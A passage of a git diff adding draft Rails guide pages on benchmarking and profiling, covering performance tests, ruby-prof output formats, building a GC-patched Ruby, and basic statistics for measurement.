in-depth without being like an advertisement. + +==== Manage ==== + +Like new relic a production monitoring tool. diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt new file mode 100644 index 00000000..fe22fba0 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt @@ -0,0 +1,105 @@ +== Real Life Example == +=== The setup === + +So I have been building this application for the last month and feel pretty good about the ruby code. I'm readying it for beta testers when I discover to my shock that with less then twenty people it starts to crash. It's a pretty simple Ecommerce site so I'm very confused by what I'm seeing. On running looking through my log files I find to my shock that the lowest time for a page run is running around 240 ms. My database finds aren't the problems so I'm lost as to what is happening to cause all this. Lets run a benchmark. + + +[source, ruby] +---------------------------------------------------------------------------- +class HomepageTest < ActionController::PerformanceTest + # Replace this with your real tests. + def test_homepage + get '/' + end +end +---------------------------------------------------------------------------- + +.Output +---------------------------------------------------------------------------- +HomepageTest#test_homepage (115 ms warmup) + process_time: 591 ms + memory: 3052.90 KB + objects: 59471 +---------------------------------------------------------------------------- + + + +Obviously something is very very wrong here. 3052.90 Kb to load my minimal homepage. For Comparison for another site running well I get this for my homepage test. + +.Default +---------------------------------------------------------------------------- +HomepageTest#test_homepage (19 ms warmup) + process_time: 26 ms + memory: 298.79 KB + objects: 1917 +---------------------------------------------------------------------------- + +that over a factor of ten difference. Lets look at our flat process time file to see if anything pops out at us. + +.Process time +---------------------------------------------------------------------------- +20.73 0.39 0.12 0.00 0.27 420 Pathname#cleanpath_aggressive +17.07 0.14 0.10 0.00 0.04 3186 Pathname#chop_basename + 6.47 0.06 0.04 0.00 0.02 6571 Kernel#=== + 5.04 0.06 0.03 0.00 0.03 840 Pathname#initialize + 5.03 0.05 0.03 0.00 0.02 4 ERB::Compiler::ExplicitScanner#scan + 4.51 0.03 0.03 0.00 0.00 9504 String#== + 2.94 0.46 0.02 0.00 0.44 1393 String#gsub + 2.66 0.09 0.02 0.00 0.07 480 Array#each + 2.46 0.01 0.01 0.00 0.00 3606 Regexp#to_s +---------------------------------------------------------------------------- + +Yes indeed we seem to have found the problem. Pathname#cleanpath_aggressive is taking nearly a quarter our process time and Pathname#chop_basename another 17%. From here I do a few more benchmarks to make sure that these processes are slowing down the other pages. They are so now I know what I must do. *If we can get rid of or shorten these processes we can make our pages run much quicker*. + +Now both of these are main ruby processes so are goal right now is to find out what other process is calling them. Glancing at our Graph file I see that #cleanpath is calling #cleanpath_aggressive. #cleanpath is being called by String#gsub and from there some html template errors. But my page seems to be rendering fine. why would it be calling template errors. I'm decide to check my object flat file to see if I can find any more information. + +.Objects Created +---------------------------------------------------------------------------- +20.74 34800.00 12324.00 0.00 22476.00 420 Pathname#cleanpath_aggressive +16.79 18696.00 9978.00 0.00 8718.00 3186 Pathname#chop_basename +11.47 13197.00 6813.00 0.00 6384.00 480 Array#each + 8.51 41964.00 5059.00 0.00 36905.00 1386 String#gsub + 6.07 3606.00 3606.00 0.00 0.00 3606 Regexp#to_s +---------------------------------------------------------------------------- + +nope nothing new here. Lets look at memory usage + +.Memory Consuption +---------------------------------------------------------------------------- + 40.17 1706.80 1223.70 0.00 483.10 3186 Pathname#chop_basename + 14.92 454.47 454.47 0.00 0.00 3606 Regexp#to_s + 7.09 2381.36 215.99 0.00 2165.37 1386 String#gsub + 5.08 231.19 154.73 0.00 76.46 420 Pathname#prepend_prefix + 2.34 71.35 71.35 0.00 0.00 1265 String#initialize_copy +---------------------------------------------------------------------------- + +Ok so it seems Regexp#to_s is the second costliest process. At this point I try to figure out what could be calling a regular expression cause I very rarely use them. Going over my standard layout I discover at the top. + + +[source, html] +---------------------------------------------------------------------------- +<%if request.env["HTTP_USER_AGENT"].match(/Opera/)%> +<%= stylesheet_link_tag "opera" %> +<% end %> +---------------------------------------------------------------------------- + +That's wrong. I mistakenly am using a search function for a simple compare function. Lets fix that. + + +[source, html] +---------------------------------------------------------------------------- +<%if request.env["HTTP_USER_AGENT"] =~ /Opera/%> +<%= stylesheet_link_tag "opera" %> +<% end %> +---------------------------------------------------------------------------- + +I'll now try my test again. + +---------------------------------------------------------------------------- +process_time: 75 ms + memory: 519.95 KB + objects: 6537 +---------------------------------------------------------------------------- + +Much better. The problem has been solved. Now I should have realized earlier due to the String#gsub that my problem had to be with reqexp serch function but such knowledge comes with time. Looking through the mass output data is a skill. + diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt new file mode 100644 index 00000000..765a1e21 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt @@ -0,0 +1,185 @@ +== Performance Testing Built into Rails == + +As of June 20, 2008 edge rails has had a new type of Unit test geared towards profiling. Of course like most great things, getting it working takes bit of work. The test relies on statistics gathered from the Garbage Collection that isn't readily available from standard compiled ruby. There is a patch located at http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch[http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch] + +Also the test requires a new version of Ruby-Prof version of 0.6.1. It is not readily available at the moment and can most easily be found as a tarball on github. It's repository is located at git://github.com/jeremy/ruby-prof.git. + +What follows is a description of how to set up an alternative ruby install to use these features + +=== Compiling the Interpreter === + + +[source, shell] +---------------------------------------------------------------------------- +[User ~]$ mkdir rubygc +[User ~]$ wget ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p111.tar.gz +[User ~]$ tar -xzvf ruby-1.8.6-p111.tar.gz +[User ~]$ cd ruby-1.8.6-p111 +[User ruby-1.8.6-p111]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0 + +#I like putting my alternative ruby builds in an opt directory, set the prefix to where ever you feel is most comfortable. + +[User ruby-1.8.6-p111]$ ./configure --prefix=/opt/rubygc +[User ruby-1.8.6-p111]$ sudo make && make install +---------------------------------------------------------------------------- + +Add the following lines in your \~/.profile or \~/.bash\_login for convenience. + +---------------------------------------------------------------------------- +alias gcruby='/opt/rubygc/rubygc/bin/ruby' +alias gcrake='/opt/rubygc/rubygc/bin/rake' +alias gcgem='/opt/rubygc/rubygc/bin/gem' +alias gcirb=/opt/rubygc/rubygc/bin/irb' +alias gcrails='/opt/rubygc/rubygc/bin/rails' +---------------------------------------------------------------------------- + +=== Installing RubyGems === + +Next we need to install rubygems and rails so that we can use the interpreter properly. + + +[source, shell] +---------------------------------------------------------------------------- +[User ~]$ wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz +[User ~]$ tar -xzvf rubygems-1.2.0.tgz +[User ~]$ cd rubygems-1.2.0 +[User rubygems-1.2.0]$ gcruby setup.rb +[User rubygems-1.2.0]$ cd ~ +[User ~]$ gcgem install rake +[User ~]$ gcgem install mysql +[User ~]$ gcgem install rails +---------------------------------------------------------------------------- + +If installing mysql gem fails ( like it did for me ), you will have to manually install it : + +[source, shell] +---------------------------------------------------------------------------- +[User ~]$ cd /Users/lifo/rubygc/lib/ruby/gems/1.8/gems/mysql-2.7/ +[User mysql-2.7]$ gcruby extconf.rb --with-mysql-config +[User mysql-2.7]$ make && make install +---------------------------------------------------------------------------- + +=== Installing Jeremy Kemper's ruby-prof === + +We are in the home stretch. All we need now is ruby-proff 0.6.1 + + +[source, shell] +---------------------------------------------------------------------------- +[User ~]$ git clone git://github.com/jeremy/ruby-prof.git +[User ~]$ cd ruby-prof/ +[User ruby-prof (master)]$ gcrake gem +[User ruby-prof (master)]$ gcgem install pkg/ruby-prof-0.6.1.gem +---------------------------------------------------------------------------- + +Finished, go get yourself a power drink! + +=== Ok so I lied, a few more things we need to do === + +You have everything we need to start profiling through rails Unit Testing. Unfortunately we are still missing a few files. I'm going to do the next step on a fresh Rails app, but it will work just as well on developmental 2.1 rails application. + +==== The Rails App ==== + +First I need to generate a rail app + +[source, shell] +---------------------------------------------------------------------------- +[User ~]$ gcrails profiling_tester -d mysql +[User ~]$ cd profiling_tester +[User profiling_tester]$ script/generate scaffold item name:string +[User profiling_tester]$ gcrake db:create:all +[User profiling_tester]$ gcrake db:migrate +[User profiling_tester (master)]$ rm public/index.html +---------------------------------------------------------------------------- + +Now I'm going to init it as a git repository and add edge rails as a submodule to it. + +[source, shell] +---------------------------------------------------------------------------- +[User profiling_tester]$ git init +[User profiling_tester (master)]$ git submodule add git://github.com/rails/rails.git vendor/rails +---------------------------------------------------------------------------- + +Finally we want to change config.cache_classes to true in our environment.rb + +---------------------------------------------------------------------------- +config.cache_classes = true +---------------------------------------------------------------------------- + +If we don't cache classes, then the time Rails spends reloading and compiling our models and controllers will confound our results. Obviously we will try to make our test setup as similar as possible to our production environment. + +=== Generating and Fixing the tests === + +Ok next we need to generate the test script. + +[source, shell] +---------------------------------------------------------------------------- +[User profiling_tester (master)]$ script/generate performance_test homepage +---------------------------------------------------------------------------- + +This will generate _test/performance/homepage_test.rb_ for you. However, as I have generated the project using Rails 2.1 gem, we'll need to manually generate one more file before we can go ahead. + +We need to put the following inside _test/performance/test_helper.rb + + +[source, ruby] +---------------------------------------------------------------------------- +require 'test_helper' +require 'performance_test_help' +---------------------------------------------------------------------------- + +Though this depends where you run your tests from and your system config. I myself run my tests from the Application root directory + +so instead of + +[source, ruby] +---------------------------------------------------------------------------- +require 'test_helper' + +#I have + +require 'test/test_helper' +---------------------------------------------------------------------------- + +Also I needed to change homepage_test.rb to reflect this also + +[source, ruby] +---------------------------------------------------------------------------- +require 'test/performance/test_helper.rb' +---------------------------------------------------------------------------- + +=== Testing === + +#TODO is there some way to compare multiple request at once like ruby_analyze + +Now, if we look at the generated performance test ( one we generated using _script/generate performance_test_ ), it'll look something like : + +[source, ruby] +---------------------------------------------------------------------------- +.require 'performance/test_helper' + +class HomepageTest < ActionController::PerformanceTest + # Replace this with your real tests. + def test_homepage + get '/' + end +end +---------------------------------------------------------------------------- + + +The format looks very similar to that of an integration test. And guess what, that's what it is. But that doesn't stop you from testing your Model methods. You could very well write something like : + +[source, ruby] +---------------------------------------------------------------------------- +require 'performance/test_helper' + +class UserModelTest < ActionController::PerformanceTest + # Replace this with your real tests. + def test_slow_find + User.this_takes_shlong_to_run + end +end +---------------------------------------------------------------------------- + + +Which is very useful way to profile individual processes. diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/gameplan.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/gameplan.txt new file mode 100644 index 00000000..1f1d365e --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/gameplan.txt @@ -0,0 +1,27 @@ +== Get Yourself a Game Plan == + +You end up dealing with a large amount of data whenever you profile an application. It's crucial to use a rigorous approach to analyzing your application's performance else fail miserably in a vortex of numbers. This leads us to - + +=== The Analysis Process === + +I’m going to give an example methodology for conducting your benchmarking and profiling on an application. It is based on your typical scientific method. + +For something as complex as Benchmarking you need to take any methodology with a grain of salt but there are some basic strictures that you can depend on. + +Formulate a question you need to answer which is simple, tests the smallest measurable thing possible, and is exact. This is typically the hardest part of the experiment. From there some steps that you should follow are. + +* Develop a set of variables and processes to measure in order to answer this question! +* Profile based on the question and variables. Key problems to avoid when designing this experiment are: + - Confounding: Test one thing at a time, keep everything the same so you don't poison the data with uncontrolled processes. + - Cross Contamination: Make sure that runs from one test do not harm the other tests. + - Steady States: If you’re testing long running process. You must take the ramp up time and performance hit into your initial measurements. + - Sampling Error: Data should perform have a steady variance or range. If you get wild swings or sudden spikes, etc. then you must either account for the reason why or you have a sampling error. + - Measurement Error: Aka Human error, always go through your calculations at least twice to make sure there are no mathematical errors. . +* Do a small run of the experiment to verify the design. +* Use the small run to determine a proper sample size. +* Run the test. +* Perform the analysis on the results and determine where to go from there. + +Note: Even though we are using the typical scientific method; developing a hypothesis is not always useful in terms of profiling. + + diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/index.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/index.txt new file mode 100644 index 00000000..ef45ff62 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/index.txt @@ -0,0 +1,242 @@ +Benchmarking and Profiling Rails +================================ + +This guide covers the benchmarking and profiling tactics/tools of Rails and Ruby in general. By referring to this guide, you will be able to: + +* Understand the various types of benchmarking and profiling metrics +* Generate performance/benchmarking tests +* Use GC patched Ruby binary to measure memory usage and object allocation +* Understand the information provided by Rails inside the log files +* Learn about various tools facilitating benchmarking and profiling + +== Why Benchmark and Profile ? + +Benchmarking and Profiling is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a plesant browsing experience to the end users and cutting cost of unnecessary hardwares is important for any web application. + +=== What is the difference between benchmarking and profiling ? === + +Benchmarking is the process of finding out if a piece of code is slow or not. Whereas profiling is the process of finding out what exactly is slowing down that piece of code. + +== Using and understanding the log files == + +Rails logs files containt basic but very useful information about the time taken to serve every request. A typical log entry looks something like : + +[source, ruby] +---------------------------------------------------------------------------- +Processing ItemsController#index (for 127.0.0.1 at 2008-10-17 00:08:18) [GET] + Session ID: BAh7BiIKZmxhc2hJQzonQWN0aHsABjoKQHVzZWR7AA==--83cff4fe0a897074a65335 + Parameters: {"action"=>"index", "controller"=>"items"} +Rendering template within layouts/items +Rendering items/index +Completed in 5ms (View: 2, DB: 0) | 200 OK [http://localhost/items] +---------------------------------------------------------------------------- + +For this section, we're only interested in the last line from that log entry: + +[source, ruby] +---------------------------------------------------------------------------- +Completed in 5ms (View: 2, DB: 0) | 200 OK [http://localhost/items] +---------------------------------------------------------------------------- + +This data is fairly straight forward to understand. Rails uses millisecond(ms) as the metric to measures the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller. + +== Helper methods == + +Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a specific code. The method is called +benchmark()+ in all three components. + +[source, ruby] +---------------------------------------------------------------------------- +Project.benchmark("Creating project") do + project = Project.create("name" => "stuff") + project.create_manager("name" => "David") + project.milestones << Milestone.find(:all) +end +---------------------------------------------------------------------------- + +The above code benchmarks the multiple statments enclosed inside +Project.benchmark("Creating project") do..end+ block and prints the results inside log files. The statement inside log files will look like: + +[source, ruby] +---------------------------------------------------------------------------- +Creating projectem (185.3ms) +---------------------------------------------------------------------------- + +Please refer to http://api.rubyonrails.com/classes/ActiveRecord/Base.html#M001336[API docs] for optional options to +benchmark()+ + +Similarly, you could use this helper method inside http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715[controllers] ( Note that it's a class method here ): + +[source, ruby] +---------------------------------------------------------------------------- +def process_projects + self.class.benchmark("Processing projects") do + Project.process(params[:project_ids]) + Project.update_cached_projects + end +end +---------------------------------------------------------------------------- + +and http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715[views]: + +[source, ruby] +---------------------------------------------------------------------------- +<% benchmark("Showing projects partial") do %> + <%= render :partial => @projects %> +<% end %> +---------------------------------------------------------------------------- + +== Performance Test Cases == + +Rails provides a very easy to write performance test cases, which look just like the regular integration tests. + +If you have a look at +test/performance/browsing_test.rb+ in a newly created Rails application: + +[source, ruby] +---------------------------------------------------------------------------- +require 'test_helper' +require 'performance_test_help' + +# Profiling results for each test method are written to tmp/performance. +class BrowsingTest < ActionController::PerformanceTest + def test_homepage + get '/' + end +end +---------------------------------------------------------------------------- + +This is an automatically generated example performance test file, for testing performance of homepage('/') of the application. + +=== Modes === + +==== Benchmarking ==== +==== Profiling ==== + +=== Metrics === + +==== Process Time ==== + +CPU Cycles. + +==== Memory ==== + +Memory taken. + +==== Objects ==== + +Objects allocated. + +==== GC Runs ==== + +Number of times the Ruby GC was run. + +==== GC Time ==== + +Time spent running the Ruby GC. + +=== Preparing Ruby and Ruby-prof === + +Before we go ahead, Rails performance testing requires you to build a special Ruby binary with some super powers - GC patch for measuring GC Runs/Time. This process is very straight forward. If you've never compiled a Ruby binary before, you can follow the following steps to build a ruby binary inside your home directory: + +==== Compile ==== + +[source, shell] +---------------------------------------------------------------------------- +[lifo@null ~]$ mkdir rubygc +[lifo@null ~]$ wget ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p111.tar.gz +[lifo@null ~]$ tar -xzvf ruby-1.8.6-p111.tar.gz +[lifo@null ~]$ cd ruby-1.8.6-p111 +[lifo@null ruby-1.8.6-p111]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0 +[lifo@null ruby-1.8.6-p111]$ ./configure --prefix=/Users/lifo/rubygc +[lifo@null ruby-1.8.6-p111]$ make && make install +---------------------------------------------------------------------------- + +==== Prepare aliases ==== + +Add the following lines in your ~/.profile for convenience: + +---------------------------------------------------------------------------- +alias gcruby='/Users/lifo/rubygc/bin/ruby' +alias gcrake='/Users/lifo/rubygc/bin/rake' +alias gcgem='/Users/lifo/rubygc/bin/gem' +alias gcirb='/Users/lifo/rubygc/bin/irb' +alias gcrails='/Users/lifo/rubygc/bin/rails' +---------------------------------------------------------------------------- + +==== Install rubygems and some basic gems ==== + +---------------------------------------------------------------------------- +[lifo@null ~]$ wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz +[lifo@null ~]$ tar -xzvf rubygems-1.2.0.tgz +[lifo@null ~]$ cd rubygems-1.2.0 +[lifo@null rubygems-1.2.0]$ gcruby setup.rb +[lifo@null rubygems-1.2.0]$ cd ~ +[lifo@null ~]$ gcgem install rake +[lifo@null ~]$ gcgem install rails +---------------------------------------------------------------------------- + +==== Install MySQL gem ==== + +---------------------------------------------------------------------------- +[lifo@null ~]$ gcgem install mysql +---------------------------------------------------------------------------- + +If this fails, you can try to install it manually: + +---------------------------------------------------------------------------- +[lifo@null ~]$ cd /Users/lifo/rubygc/lib/ruby/gems/1.8/gems/mysql-2.7/ +[lifo@null mysql-2.7]$ gcruby extconf.rb --with-mysql-config +[lifo@null mysql-2.7]$ make && make install +---------------------------------------------------------------------------- + +=== Installing Jeremy Kemper's ruby-prof === + +We also need to install Jeremy's ruby-prof gem using our newly built ruby: + +[source, shell] +---------------------------------------------------------------------------- +[lifo@null ~]$ git clone git://github.com/jeremy/ruby-prof.git +[lifo@null ~]$ cd ruby-prof/ +[lifo@null ruby-prof (master)]$ gcrake gem +[lifo@null ruby-prof (master)]$ gcgem install pkg/ruby-prof-0.6.1.gem +---------------------------------------------------------------------------- + +=== Generating performance test === + +Rails provides a simple generator for creating new performance tests: + +[source, shell] +---------------------------------------------------------------------------- +[lifo@null application (master)]$ script/generate performance_test homepage +---------------------------------------------------------------------------- + +This will generate +test/performance/homepage_test.rb+: + +[source, ruby] +---------------------------------------------------------------------------- +require 'test_helper' +require 'performance_test_help' + +class HomepageTest < ActionController::PerformanceTest + # Replace this with your real tests. + def test_homepage + get '/' + end +end +---------------------------------------------------------------------------- + +Which you can modify to suit your needs. + +=== Running tests === + +include::rubyprof.txt[] + +include::digging_deeper.txt[] + +include::gameplan.txt[] + +include::appendix.txt[] + +== Changelog == + +http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4[Lighthouse ticket] + +* October 17, 2008: First revision by Pratik +* September 6, 2008: Initial version by Matthew Bergman \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/rubyprof.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/rubyprof.txt new file mode 100644 index 00000000..fa01d413 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/rubyprof.txt @@ -0,0 +1,179 @@ +== Understanding Performance Tests Outputs == + +=== Our First Performance Test === + +So how do we profile a request. + +One of the things that is important to us is how long it takes to render the home page - so let's make a request to the home page. Once the request is complete, the results will be outputted in the terminal. + +In the terminal run + +[source, ruby] +---------------------------------------------------------------------------- +[User profiling_tester]$ gcruby tests/performance/homepage.rb +---------------------------------------------------------------------------- + +After the tests runs for a few seconds you should see something like this. + +---------------------------------------------------------------------------- +HomepageTest#test_homepage (19 ms warmup) + process_time: 26 ms + memory: 298.79 KB + objects: 1917 + +Finished in 2.207428 seconds. +---------------------------------------------------------------------------- + +Simple but efficient. + +* Process Time refers to amount of time necessary to complete the action. +* memory is the amount of information loaded into memory +* object ??? #TODO find a good definition. Is it the amount of objects put into a ruby heap for this process? + +In addition we also gain three types of itemized log files for each of these outputs. They can be found in your tmp directory of your application. + +*The Three types are* + +* Flat File - A simple text file with the data laid out in a grid +* Graphical File - A html colored coded version of the simple text file with hyperlinks between the various methods. Most useful is the bolding of the main processes for each portion of the action. +* Tree File - A file output that can be use in conjunction with KCachegrind to visualize the process + +NOTE: KCachegrind is Linux only. For Mac this means you have to do a full KDE install to have it working in your OS. Which is over 3 gigs in size. For windows there is clone called wincachegrind but it is no longer actively being developed. + +Below are examples for Flat Files and Graphical Files + +=== Flat Files === + +.Flat File Output Processing Time +============================================================================ +Thread ID: 2279160 +Total: 0.026097 + + %self total self wait child calls name + 6.41 0.06 0.04 0.00 0.02 571 Kernel#=== + 3.17 0.00 0.00 0.00 0.00 172 Hash#[] + 2.42 0.00 0.00 0.00 0.00 13 MonitorMixin#mon_exit + 2.05 0.00 0.00 0.00 0.00 15 Array#each + 1.56 0.00 0.00 0.00 0.00 6 Logger#add + 1.55 0.00 0.00 0.00 0.00 13 MonitorMixin#mon_enter + 1.36 0.03 0.00 0.00 0.03 1 ActionController::Integration::Session#process + 1.31 0.00 0.00 0.00 0.00 13 MonitorMixin#mon_release + 1.15 0.00 0.00 0.00 0.00 8 MonitorMixin#synchronize-1 + 1.09 0.00 0.00 0.00 0.00 23 Class#new + 1.03 0.01 0.00 0.00 0.01 5 MonitorMixin#synchronize + 0.89 0.00 0.00 0.00 0.00 74 Hash#default + 0.89 0.00 0.00 0.00 0.00 6 Hodel3000CompliantLogger#format_message + 0.80 0.00 0.00 0.00 0.00 9 c + 0.80 0.00 0.00 0.00 0.00 11 ActiveRecord::ConnectionAdapters::ConnectionHandler#retrieve_connection_pool + 0.79 0.01 0.00 0.00 0.01 1 ActionController::Benchmarking#perform_action_without_rescue + 0.18 0.00 0.00 0.00 0.00 17 #allocate +============================================================================ + +So what do these columns tell us: + + * %self - The percentage of time spent processing the method. This is derived from self_time/total_time + * total - The time spent in this method and its children. + * self - The time spent in this method. + * wait - Time processed was queued + * child - The time spent in this method's children. + * calls - The number of times this method was called. + * name - The name of the method. + +Name can be displayed three seperate ways: + * #toplevel - The root method that calls all other methods + * MyObject#method - Example Hash#each, The class Hash is calling the method each + * #test - The <> characters indicate a singleton method on a singleton class. Example #allocate + +Methods are sorted based on %self. Hence the ones taking the most time and resources will be at the top. + +So for Array#each which is calling each on the class array. We find that it processing time is 2% of the total and was called 15 times. The rest of the information is 0.00 because the process is so fast it isn't recording times less then 100 ms. + + +.Flat File Memory Output +============================================================================ +Thread ID: 2279160 +Total: 509.724609 + + %self total self wait child calls name + 4.62 23.57 23.57 0.00 0.00 34 String#split + 3.95 57.66 20.13 0.00 37.53 3 #quick_emit + 2.82 23.70 14.35 0.00 9.34 2 #quick_emit-1 + 1.37 35.87 6.96 0.00 28.91 1 ActionView::Helpers::FormTagHelper#form_tag + 1.35 7.69 6.88 0.00 0.81 1 ActionController::HttpAuthentication::Basic::ControllerMethods#authenticate_with_http_basic + 1.06 6.09 5.42 0.00 0.67 90 String#gsub + 1.01 5.13 5.13 0.00 0.00 27 Array#- +============================================================================ + +Very similar to the processing time format. The main difference here is that instead of calculating time we are now concerned with the amount of KB put into memory *(or is it strictly into the heap) can I get clarification on this minor point?* + +So for #quick_emit which is singleton method on the class YAML it uses 57.66 KB in total, 23.57 through its own actions, 6.69 from actions it calls itself and that it was called twice. + +.Flat File Objects +============================================================================ +Thread ID: 2279160 +Total: 6537.000000 + + %self total self wait child calls name + 15.16 1096.00 991.00 0.00 105.00 66 Hash#each + 5.25 343.00 343.00 0.00 0.00 4 Mysql::Result#each_hash + 4.74 2203.00 310.00 0.00 1893.00 42 Array#each + 3.75 4529.00 245.00 0.00 4284.00 1 ActionView::Base::CompiledTemplates#_run_erb_47app47views47layouts47application46html46erb + 2.00 136.00 131.00 0.00 5.00 90 String#gsub + 1.73 113.00 113.00 0.00 0.00 34 String#split + 1.44 111.00 94.00 0.00 17.00 31 Array#each-1 +============================================================================ + + + #TODO Find correct terminology for how to describe what this is exactly profiling as in are there really 2203 array objects or 2203 pointers to array objects?. + +=== Graph Files === + +While the information gleamed from flat files is very useful we still don't know which processes each method is calling. We only know how many. This is not true for a graph file. Below is a text representation of a graph file. The actual graph file is an html entity and an example of which can be found link:examples/graph.html[Here] + +#TODO (Handily the graph file has links both between it many processes and to the files that actually contain them for debugging. + ) + +.Graph File +============================================================================ +Thread ID: 21277412 + + %total %self total self children calls Name +/____________________________________________________________________________/ +100.00% 0.00% 8.77 0.00 8.77 1 #toplevel* + 8.77 0.00 8.77 1/1 Object#run_primes +/____________________________________________________________________________/ + 8.77 0.00 8.77 1/1 #toplevel +100.00% 0.00% 8.77 0.00 8.77 1 Object#run_primes* + 0.02 0.00 0.02 1/1 Object#make_random_array + 2.09 0.00 2.09 1/1 Object#find_largest + 6.66 0.00 6.66 1/1 Object#find_primes +/____________________________________________________________________________/ + 0.02 0.02 0.00 1/1 Object#make_random_array +0.18% 0.18% 0.02 0.02 0.00 1 Array#each_index + 0.00 0.00 0.00 500/500 Kernel.rand + 0.00 0.00 0.00 500/501 Array#[]= +/____________________________________________________________________________/ +============================================================================ + +As you can see the calls have been separated into slices, no longer is the order determined by process time but instead from hierarchy. Each slice profiles a primary entry, with the primary entry's parents being shown above itself and it's children found below. A primary entry can be ascertained by it having values in the %total and %self columns. Here the main entry here have been bolded for connivence. + +So if we look at the last slice. The primary entry would be Array#each_index. It takes 0.18% of the total process time and it is only called once. It is called from Object#make_random_array which is only called once. It's children are Kernal.rand which is called by it all 500 its times that it was call in this action and Arry#[]= which was called 500 times by Array#each_index and once by some other entry. + +=== Tree Files === + +It's pointless trying to represent a tree file textually so here's a few pretty pictures of it's usefulness + +.KCachegrind Graph +[caption="KCachegrind graph"] +image:images/kgraph.png[Graph created by KCachegrind] + +.KCachegrind List +[caption="KCachegrind List"] +image:images/klist.png[List created by KCachegrind] + +#TODO Add a bit more information to this. + +== Getting to the Point of all of this == + +Now I know all of this is a bit dry and academic. But it's a very powerful tool when you know how to leverage it properly. Which we are going to take a look at in our next section + diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/statistics.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/statistics.txt new file mode 100644 index 00000000..9fca979d --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/statistics.txt @@ -0,0 +1,57 @@ +== A Lession In Statistics == + +#TODO COMPRESS DOWN INTO A PARAGRAPH AND A HALF +maybe I'll just combine with the methodology portion as an appendix. + +Adapted from a blog Article by Zed Shaw. His rant is funnier but will take longer to read.
http://www.zedshaw.com/rants/programmer_stats.html[Programmers Need To Learn Statistics Or I Will Kill Them All] + +=== Why Learn Statistics === + +Statistics is a hard discipline. One can study it for years without fully grasping all the complexities. But its a necessary evil for coders of every level to at least know the basics. You can't optimize without it, and if you use it wrong, you'll just waste your time and the rest of your team's. + +=== Power-of-Ten Syndrome === + +If you done any benchmarking you have probably heard +“All you need to do is run that test [insert power-of-ten] times and then do an average.†+ +For new developers this whole power of ten comes about because we need enough data to minimize the results being contaminated by outliers. If you loaded a page five times with three of those times being around 75ms and twice 250ms you have no way of knowing the real average processing time for you page. But if we take a 1000 times and 950 are 75ms and 50 are 250ms we have a much clearer picture of the situation. + +But this still begs the question of how you determine that 1000 is the correct number of iterations to improve the power of the experiment? (Power in this context basically means the chance that your experiment is right.) + +The first thing that needs to be determined is how you are performing the samplings? 1000 iterations run in a massive sequential row? A set of 10 runs with 100 each? The statistics are different depending on which you do, but the 10 runs of 100 each would be a better approach. This lets you compare sample means and figure out if your repeated runs have any bias. More simply put, this allows you to see if you have a many or few outliers that might be poisoning your averages. + +Another consideration is if a 1000 transactions is enough to get the process into a steady state after the ramp-up period? If you are benchmarking a long running process that stabilizes only after a warm-up time you must take that into consideration. + +Also remember getting an average is not an end goal in itself. In fact in some cases they tell you almost nothing. + +=== Don't Just Use Averages! === + +One cannot simply say my website “[insert power-of-ten] requests per secondâ€. This is due to it being an Average. Without some form of range or variance error analysis it's a useless number. Two averages can be the same, but hide massive differences in behavior. Without a standard deviation it’s not possible to figure out if the two might even be close. + +Two averages can be the same say 30 requests a second and yet have a completely different standard deviation. Say the first sample has +-3 and the second is +-30 + +Stability is vastly different for these two samples If this were a web server performance run I’d say the second server has a major reliability problem. No, it’s not going to crash, but it’s performance response is so erratic that you’d never know how long a request would take. Even though the two servers perform the same on average, users will think the second one is slower because of how it seems to randomly perform. + +Another big thing to take into consideration when benchmarking and profiling is Confounding + +=== Confounding === + +The idea of confounding is pretty simple: If you want to measure something, then don’t measure anything else. + +#TODO add more information in how to avoid confounding. + +* Your testing system and your production system must be separate. You can't profile on the same system because you are using resources to run the test that your server should be using to serve the requests. + +And one more thing. + +=== Define what you are Measuring === + +Before you can measure something you really need to lay down a very concrete definition of what you’re measuring. You should also try to measure the simplest thing you can and try to avoid confounding. + +The most important thing to determine though is how much data you can actually send to your application through it's pipe. + +=== Back to Business === + +Now I know this was all a bit boring, but these fundamentals a necessary for understanding what we are actually doing here. Now onto the actual code and rails processes. + + diff --git a/vendor/rails/railties/doc/guides/source/caching_with_rails.txt b/vendor/rails/railties/doc/guides/source/caching_with_rails.txt new file mode 100644 index 